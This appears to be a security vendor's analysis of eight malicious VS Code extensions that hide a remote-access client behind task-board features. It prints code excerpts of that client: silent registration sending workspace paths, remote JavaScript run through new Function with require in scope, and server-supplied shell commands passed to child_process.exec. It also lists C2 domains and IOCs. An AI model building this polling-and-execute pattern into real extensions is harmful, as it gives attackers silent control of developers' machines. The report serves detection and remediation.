Eight VS Code Extensions, One RAT Engine: Inside the Task-Board Backdoor

Between October 24 and 25, 2026, eight extensions from eight separate publisher accounts were published or updated on the Visual Studio Marketplace within a ten-hour window: flowstate.luaslope 1.0.2, opentask.opentask 1.0.0, Markers.markersboard 2.2.4, GiantManage.giantmanage 1.0.0, DawnTask.dawntask 1.0.1, starktask.starktask 1.0.1, greenbeans.greenbeans 2.0.0, and parsley.parsley 4.0.0. They present as a Roblox MCP bridge, a task manager, a project dashboard, and five Kanban boards. Each package also ships a hidden module that starts with the editor, contacts an external server, and waits for commands.

The module is a remote-access client. It registers the machine with the endpoint, sends the workspace name and absolute path, and polls every five seconds. Each returned action is approved without a prompt, executed, and reported back. The action set includes run_code, which evaluates JavaScript in the extension host with require in scope, and run_command, which calls child_process.exec.

The client is in src/extension.js for LuaSlope and in sync.js for the other seven. The core route set, the registration payload, and the execution primitives are the same across all eight packages.

The engine is a remote access trojan in the literal sense: it gives a remote server code execution inside the editor process, with the same file and network access as the developer.

TL;DR

• Eight extensions, eight publishers, one engine. The package table below lists the IDs, versions, sizes, and action sets.
• All eight activate on onStartupFinished. The sync loop starts without a command, a prompt, or a visible setting change.
• Three default to superkawaii[.]click; five default to rawrito[.]click. The rawrito group is MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0.
• The protocol is identical: register, poll, approve, execute, return the result. The shared routes are /api/client/register, /api/client/poll, /api/client/approve, and /api/client/result.
• MarkersBoard is the clearest version-history deception. Versions 2.2.0 and 2.2.3 stated “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. Version 2.2.4 added new Function execution and advertised run_code in the README.
• No payload or command list is embedded in the packages. The server supplies actions at runtime. LuaSlope’s admin dashboard contains only placeholder command examples, and its action queue starts empty.
• LuaSlope started as a 2.6 KB placeholder. Version 0.0.1 declared no commands and no code. Version 1.0.2, appeared sixteen days later, carries the full engine.
• The eight packages share more than code. GiantManage and LuaSlope ship a byte-identical media/icon.png. All eight claim GitHub repositories that return 404.
• The two domains share a registrar and an ngrok target. Both use Dynadot and point to subdomains under the same ngrok CNAME target. rawrito[.]click was registered 29 minutes before the MarkersBoard listing.
• Of the three known hostnames, only rawrito was live during analysis. It returned HTTP 401 without a session, accepted several proxied test registrations (including production-looking workspaces), and then returned enabled: true with no action for up to six minutes. superkawaii[.]click returned the ngrok offline page.
• The install numbers are small, but real. At the time of analysis, MarkersBoard showed 69 downloads and 19 installs, DawnTask showed 24 downloads and 12 installs, and GreenBeans showed 10 downloads and 3 installs, and StarkTask showed 23 downloads. GiantManage and OpenTask showed 4 and 3 downloads. Parsley reported 1,380 installs against 94 downloads, a ratio that does not agree. The LuaSlope listing did not resolve on either marketplace when checked on October 25.

The packages

The packages are small enough to read in an afternoon. The visible code is functional. OpenTask stores tasks in .opentask/tasks.json. MarkersBoard stores its board in .markersboard/board.json. GiantManage registers workspace commands. LuaSlope deploys a Roblox Studio runtime and registers an MCP server provider. The four Kanban boards in the second wave use a shared template: extension.js, commands.js, kanban.js, and sync.js. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter.

The hidden module is separate from that functionality. It has no menu item, no status-bar indicator, and no command. It is loaded from activate() and started before the user does anything.

Why the vector works

Task boards are a good cover for two reasons, and the campaign leans on that cover: five of the eight packages are Kanban boards.

First, a board needs synchronization. A developer who installs a task manager expects it to store state, sync across devices, or talk to a backend. A five-second poll to a first-party domain does not look out of place. The OpenTask README calls it “Background Workflow Sync”. The GiantManage README calls it a “Background Synchronization Engine”. MarkersBoard advertises “Custom Dynamic Code Sync” with run_code dispatches. The second wave repeats the same phrasing across four near-identical Kanban listings. The malicious function is hidden in plain sight as a product feature.

Second, the extension host has no sandbox for this. A VS Code extension runs with the same permissions as the editor. It can read files, write files, start processes, and make network requests. The Marketplace permission model cannot express “this extension may render a Kanban board but may not execute a shell command”. The installation decision is the security boundary.

The pattern is now familiar in this registry. The boardflow campaign used fifteen fake Kanban extensions to deliver a remote payload. The roqueue-tools loader waited five minutes after startup before it contacted its endpoint. These eight packages remove the download step. The extension host itself becomes the payload runtime.

The sync engine

The engine is a small HTTP client. It uses Node’s http and https modules, not the VS Code network API. It builds a URL from a default origin and a fixed route. The engine appears in three shapes. OpenTask, GiantManage, DawnTask, and Parsley accept the full action set. MarkersBoard, StarkTask, and GreenBeans accept only run_code. LuaSlope folds the engine into src/extension.js and adds a Roblox runtime. In every shape, the same five-second poll and the same execution primitives are present.

1. Registration

On the first poll, the client sends the workspace name and the absolute workspace path to /api/client/register. The server returns a client ID and a bearer token. The extension stores both in VS Code SecretStorage.

const wsName = vscode.workspace.workspaceFolders?.[0]?.name || 'Workspace';
const wsPath = vscode.workspace.workspaceFolders?.[0]?.uri.fsPath || 'Workspace';
const reg = await req('/api/client/register', {
  label: 'OpenTask · ' + wsName,
  location: wsPath
});
session = { id: reg.id, token: reg.token };
await context.secrets.store('opentask_session', JSON.stringify(session));

The label and path are the first data points the server receives. They identify the machine, the project, and the user’s directory layout before any malicious action runs.

2. Poll and auto-approve

The client polls GET /api/client/poll every 5,000 ms. It uses a 10-second request timeout and rejects responses larger than 1 MB. If the response contains an action, the client sends POST /api/client/approve and executes it. There is no user confirmation.

LuaSlope is explicit about this. The code logs:

log(`Directly executing action (${action.type}) without approval prompt.`);

The extension’s validateAction() function accepts a requireApproval field, but the caller never uses it. The action runs either way.

3. Code execution

For run_code, the client builds a function with the VS Code API, the extension context, the output channel, Node’s require, and console in scope.

const fn = new Function(
  'vscode', 'context', 'output', 'require', 'console',
  `return (async () => {\n${action.code}\n})();`
);

Passing require into the function removes any meaningful boundary. Remote code can load fs, child_process, https, or any installed module. It can read source files, environment variables, shell history, SSH keys, and cloud credentials. It can also call back into the VS Code API to read open documents or change workspace settings.

4. Shell execution

For run_command, the client concatenates the server-supplied command and arguments and passes the string to child_process.exec. The working directory defaults to the first workspace folder.

const commandStr = action.args && action.args.length
  ? `${action.command} ${action.args.join(' ')}`
  : action.command;

childProcess.exec(commandStr, {
  cwd,
  timeout,
  maxBuffer: 1024 * 1024
}, callback);

The callback returns stdout, stderr, and the exit code. The client posts them to /api/client/result. Results are capped at 50,000 characters per action. A server can request more data with more actions.

5. Other actions

OpenTask and GiantManage also accept run_vscode_command and show_notification. The first executes any registered VS Code command. The second displays a remote-controlled message, with remote-controlled buttons, inside the editor. LuaSlope supports the same set.

MarkersBoard 2.2.4 limits the action type to run_code. That is not a mitigation. The function still receives require, so a single run_code action can call require('child_process').exec(...).

The MarkersBoard pivot

MarkersBoard is the most direct evidence that the benign build and the malicious build are the same product.

Version 2.2.0 shipped a polling client with no default endpoint and no execution path. Its header described a “Polling-Only Synchronization Engine” with “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. The configuration description said: “Left empty by default for zero network contact. Note: Does not run any code.”

Version 2.2.3 kept the same claims. It added a default endpoint anyway:

const DEFAULT_ENDPOINT = 'https://rawrito.click';

The configuration description still said “Note: Does not run any code.” The comment block still said “ZERO-CONTACT DEFAULT”. The code still did not execute actions.

Version 2.2.4 removed the claims and added the engine. The header became “MarkersBoard Polling & Dynamic Code Synchronization Engine”. The new function executeCustomCode() creates a function with new Function, runs the server-supplied body, and posts the result. The README changed from a polling description to “Custom Dynamic Code Sync” with run_code dispatches. The Marketplace update landed at 03:33 UTC on October 25.

The listing was published at 02:41 UTC. Within 52 minutes, the same extension ID moved from a board with no execution path to a board that runs remote JavaScript. The earlier versions were not a different product. They were the review-safe stage of the same product.

The Parsley pivot

Parsley has the longest version history in the set and a second no-execution-to-execution pivot.

• 0.0.1 (October 17): a status-command placeholder.
• 2.0.1 (observed October 25 04:26): a Kanban board with the full engine on superkawaii[.]click. sync.js supports run_code, run_command, run_vscode_command, and show_notification.
• 3.0.1 (observed 06:55): a Kanban board with no network code.
• 3.0.2 (observed 07:05): polling and heartbeat only. The header says “EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined.” It uses rawrito[.]click, /api/client/ping, and the parsley_client_session key.
• 4.0.0 (published 07:15): the execution engine returns. sync.js adds the AsyncFunction constructor, child_process.exec, the full action router, and /api/client/heartbeat. The secret key changes to parsley_client_session_v4.

The 3.0.2 → 4.0.0 diff is the clearest review-safe pivot after MarkersBoard. The earlier build explicitly declines actions. The later build executes them. The gap between the observed 3.0.2 build and the 4.0.0 publish is ten minutes.

The endpoint also changed between generations. Parsley 2.0.1 used superkawaii[.]click. The 3.0.2 and 4.0.0 builds use rawrito[.]click. The operator moved the same client to a new domain and then restored the execution path.

Placeholder-first publishing

LuaSlope followed the same staging pattern with a longer delay.

Version 0.0.1 was a 2.6 KB placeholder. Its README said: “This version provides no functionality. It registers no commands, changes no settings, and runs no code.” The package had no main entry and no JavaScript.

Version 0.0.1 was on the registry by October 8. Version 1.0.2 was on the registry by October 24. The later build is 480 KB and contains the full Roblox runtime, the MCP provider registration, and the sync engine. The publisher kept the same flowstate.luaslope identity across both versions.

MarkersBoard shows the same pattern in a shorter window. Version 1.0.0 was a single 371-byte extension.js that registered one status command. Version 2.0.0 added the board. Version 2.2.0 added polling. Version 2.2.4 added remote code execution.

The pattern repeats across the set. Six of the eight packages shipped a placeholder before the RAT build:

DawnTask, StarkTask, and GreenBeans each shipped a 1.0.0 build whose only feature was a status command. The RAT build arrived as 1.0.1 or 2.0.0. Parsley shipped a placeholder on October 17, a RAT build on October 25, a clean Kanban build, a polling-only build, and then the RAT build again.

A placeholder build is cheap. It reserves the name, establishes a version history, and gives a reviewer something harmless to inspect. The weaponized build arrives later, under the same ID, after the listing has already passed the first review.

Linkage evidence

The eight packages are not linked by a single shared hash. They are linked by a set of independent artifacts that point to the same development pipeline.

Shared network protocol

• Two endpoints. superkawaii[.]click appears in LuaSlope, OpenTask, and GiantManage. rawrito[.]click appears in MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0.
• Same route set. All eight use /api/client/register, /api/client/poll, /api/client/approve, and /api/client/result. LuaSlope and Parsley 4.0.0 also use /api/client/heartbeat. Parsley 3.0.2 uses /api/client/ping.
• Same registration payload. The client sends label as <Product> · <workspace name> and location as the absolute workspace path.
• Same auth flow. Registration returns { id, token }. Later requests use Authorization: Bearer <token>.
• Same timing. Poll interval 5,000 ms, request timeout 10,000 ms, response cap 1 MB, result cap 50,000 characters.

Shared code structure

• Same execution primitive. All eight pass require into a dynamically constructed function. Seven use new Function with vscode, context, output, require, and console. Parsley 4.0.0 uses the AsyncFunction constructor with the same core globals plus a kit object.
• Same shell primitive. OpenTask, GiantManage, LuaSlope, DawnTask, and Parsley 4.0.0 call child_process.exec with cwd, a timeout, and a 1 MB buffer.
• Same state keys. opentask_session, markersboard_session, giantmanage_session, dawntask_session, starktask_session, and greenbeans_session follow the same naming convention. Parsley uses parsley_client_session_v4; its earlier builds use parsley_session and parsley_client_session. LuaSlope uses actionClientSession.
• Characteristic log strings across the set. Establishing background synchronization..., Connecting client to, Processing action, Directly executing action ... without approval prompt, and the per-product prefixes [DawnTask Sync], [StarkTask Sync], [GreenBeans Sync], and [Parsley Exec].

Shared infrastructure and timeline

Both domains are registered through Dynadot and use the same nameservers (ns1.dyna-ns.net, ns2.dyna-ns.net). Both are CNAMEs to subdomains under the same ngrok target, 3ka4t3whps9jrnjvw.ngrok-cname[.]com. A third hostname, super.superkawaii[.]click, uses the same target.

rawrito[.]click was registered 29 minutes before the MarkersBoard listing. superkawaii[.]click was registered ten days before the LuaSlope 1.0.2 build appeared. The certificate for super.superkawaii[.]click and the certificate for rawrito[.]click were issued one minute apart on October 25.

The ngrok target and its AWS addresses are shared infrastructure, not attacker-owned hosts. The specific tunnel hostnames are the malicious part. Do not block the parent ngrok-cname.com domain.

Shared development artifacts

• Byte-identical icon. GiantManage.giantmanage 1.0.0 and flowstate.luaslope 1.0.2 ship the same media/icon.png: SHA-256 17a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353. The file is 121,378 bytes in both packages.
• Dead repository links. Each package.json claims a GitHub repository at github[.]com/<publisher>/<name>. All eight returned 404 on October 25: opentask/opentask, markers/markersboard, giantmanage/giantmanage, flowstate/luaslope, DawnTask/dawntask, starktask/starktask, greenbeans/greenbeans, and parsley/parsley.
• C2 as homepage. Seven of the eight set the homepage field in package.json to the same domain the sync engine uses: LuaSlope, GiantManage, MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley. OpenTask points to a 404 GitHub repository instead.
• Similar package skeleton. OpenTask, MarkersBoard, and GiantManage use a small extension.js entry point, a commands.js file for the visible product, and a sync.js engine. DawnTask, StarkTask, GreenBeans, and Parsley add kanban.js and a sidebar webview. LuaSlope folds the engine into src/extension.js.

The evidence supports a shared toolkit. It does not prove that one person controls every publisher account. The available data shows the same engine, the same protocol, and the same build artifacts reused across eight listings.

The Kanban cluster

The second wave is four Kanban boards with the same template. All four were published or updated between 02:03 and 07:15 UTC on October 25.

The four second-wave packages use the same layout: extension.js, commands.js, kanban.js, and sync.js. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter. The package descriptions use the same sentence: “Visual Kanban task orchestration, sprint management, and automated workflow tracking for Visual Studio Code.”

DawnTask’s sync.js is 75% similar to OpenTask’s by line-level comparison. StarkTask and GreenBeans are smaller variants that accept only run_code. Parsley 4.0.0 has the largest sync.js, with a kit object, heartbeat, and the full action router.

Parsley is the outlier by reach. Its listing reported 1,380 installs against 94 downloads. The two counters do not agree, so treat the install figure with caution. The listing still reaches a larger audience than the other seven.

All four second-wave packages use rawrito[.]click and set it as the package homepage. The domain is also the endpoint for MarkersBoard, which makes the second wave and MarkersBoard one infrastructure cluster.

What the client can do

There is no fixed payload in any of the eight packages. That is the design. The package contains the client; the server contains the payload.

No payload or command list was recovered from the published packages. The eight packages contain the client, not the actions. LuaSlope also ships a local admin server and dashboard, but its command field contains only placeholder examples (node -v, dir, git status, powershell Get-Date), and the action queue starts empty. The commands the server actually issued remain unknown.

The protocol gives the server enough primitives to:

• Read any file the editor can read, including source code, .env files, SSH keys, cloud credential files, and shell history.
• Write files and modify the workspace, including build scripts and configuration.
• Run shell commands as the developer, with the workspace as the working directory.
• Read the open editor state through the VS Code API.
• Execute any VS Code command, including commands that install or modify other extensions.
• Show a message inside the editor with remote-controlled text and buttons.
• Return command output and code results to the server.

The registration step already sends the workspace name and absolute path. The result endpoint accepts up to 50,000 characters per action. A server can issue repeated actions to move larger files or run longer commands.

At the time of analysis, rawrito[.]click answered GET /api/client/poll with HTTP 401 and {"error":"Client session missing or expired."}. Several proxied test registrations returned a client ID and a 64-character token. Poll loops ran for up to six minutes, including registrations with production-looking workspace names, and returned enabled: true with no action. superkawaii[.]click returned the ngrok offline page (ERR_NGROK_3200). The 401 response confirms that the rawrito API was live and enforcing client sessions. The registration confirms that it accepts new clients. The empty poll shows that it did not deliver a payload to a new session during the observation window. No response contained a command.

The absence of an action does not make the registration harmless. The client still sends the workspace name and absolute path on first contact. A server can collect that data without ever issuing a command.

The endpoints are configured in the packages. The LuaSlope listing did not resolve, and the other seven listings were still available when checked on October 25. A defender should treat any machine that ran these extensions as having executed unknown code.

Outlook

The campaign shows a repeatable publishing pattern, and the pattern will continue.

• Placeholder-first publishing will increase. Six of the eight packages shipped a placeholder build before the RAT build. A cheap shell build ages the ID and gives the listing a clean first review. The weaponized build arrives as an update.
• The engine will be reused across product categories. Five Kanban boards, a task manager, a project dashboard, and a Roblox bridge all shipped the same client in one night. The same engine fits any product with a backend.
• Endpoints will rotate. superkawaii[.]click and rawrito[.]click are disposable, and Parsley already moved from one to the other. The durable signal is the route set, the registration payload, and the execution primitive, not the domain.
• The remote switch will stay. A server-side action model lets the threat actor test a listing, change behavior, and stop serving code without republishing the extension.
• AI and MCP tooling is the next cover. LuaSlope shows how much legitimate runtime code a modern extension can carry. A large package with a real bridge, a real plugin, and a real MCP provider gives the hidden client more room to hide.

Defenders should watch for the update, not just the first publish. The version that passes review is often not the version that runs the campaign.

Remediation

If these extensions were installed in an editor, remove them and treat the machine as compromised.

1. Remove the extensions. Uninstall flowstate.luaslope, opentask.opentask, Markers.markersboard, GiantManage.giantmanage, DawnTask.dawntask, starktask.starktask, greenbeans.greenbeans, and parsley.parsley.
2. Rotate credentials. Assume any secret readable by the editor was exposed: GitHub and npm tokens, cloud access keys, SSH keys, .env files, and package registry tokens. Rotate them from a different machine.
3. Review the workspace and shell history. Check for new files, modified build scripts, and commands that were not run by the developer.
4. Block the endpoints at egress. Use the exact hostnames superkawaii[.]click and rawrito[.]click. Do not block the .click top-level domain.
5. Check for the client on disk. Look for sync.js inside the extension directories and for the *_session* keys in VS Code SecretStorage.
6. Report the listing. Use the Marketplace “Report a concern” action. Removal from the listing does not remove an installed copy.

The general principle is simple: a background sync feature is a remote execution channel when the client can execute what it receives. The review question is not “does this extension make network requests?” It is “what can the other end make this extension do?”

IOCs

Package hashes

Engine file hashes

Version-history hashes

The 3.0.2 build is the no-execution variant. The 4.0.0 build is the RAT variant.

Network indicators

• superkawaii[.]click
• rawrito[.]click
• super.superkawaii[.]click
• Shared ngrok CNAME target: 3ka4t3whps9jrnjvw.ngrok-cname[.]com (pivot only; do not block the parent ngrok-cname.com)
• /api/client/register
• /api/client/poll
• /api/client/approve
• /api/client/result
• /api/client/heartbeat
• /api/client/ping

Registration indicators

• Registrar: Dynadot, LLC
• Nameservers: ns1.dyna-ns.net, ns2.dyna-ns.net
• superkawaii[.]click created 2026-10-14 23:10 UTC
• rawrito[.]click created 2026-10-25 02:12 UTC

Dynadot is a legitimate registrar. The indicator is the specific domain set and registration pattern, not the registrar itself.

Behavioral indicators

• Registration label format <Product> · <workspace name> with location set to the absolute workspace path.
• Poll interval of 5,000 ms with a 10,000 ms request timeout.
• SecretStorage keys opentask_session, markersboard_session, giantmanage_session, dawntask_session, starktask_session, greenbeans_session, parsley_client_session_v4, parsley_client_session, parsley_session, actionClientSession.
• new Function('vscode', 'context', 'output', 'require', 'console', ...).
• child_process.exec(commandStr, { cwd, timeout, maxBuffer: 1024 * 1024 }).
• Log strings Establishing background synchronization..., Connecting client to, Directly executing action, Only custom code execution is enabled., and the per-product prefixes [DawnTask Sync], [StarkTask Sync], [GreenBeans Sync], and [Parsley Exec].
• Shared icon SHA-256 17a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353.
• No-execution build string: EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined.
• Claimed repositories at github[.]com/opentask/opentask, github[.]com/markers/markersboard, github[.]com/giantmanage/giantmanage, github[.]com/flowstate/luaslope, github[.]com/DawnTask/dawntask, github[.]com/starktask/starktask, github[.]com/greenbeans/greenbeans, and github[.]com/parsley/parsley return 404.

Note on payload hashes

There is no payload hash to publish. The eight packages contain a client, not a payload. The server supplies the code at runtime, and the code can change for each client. Detection should focus on the client behavior and the protocol, not on a fixed binary.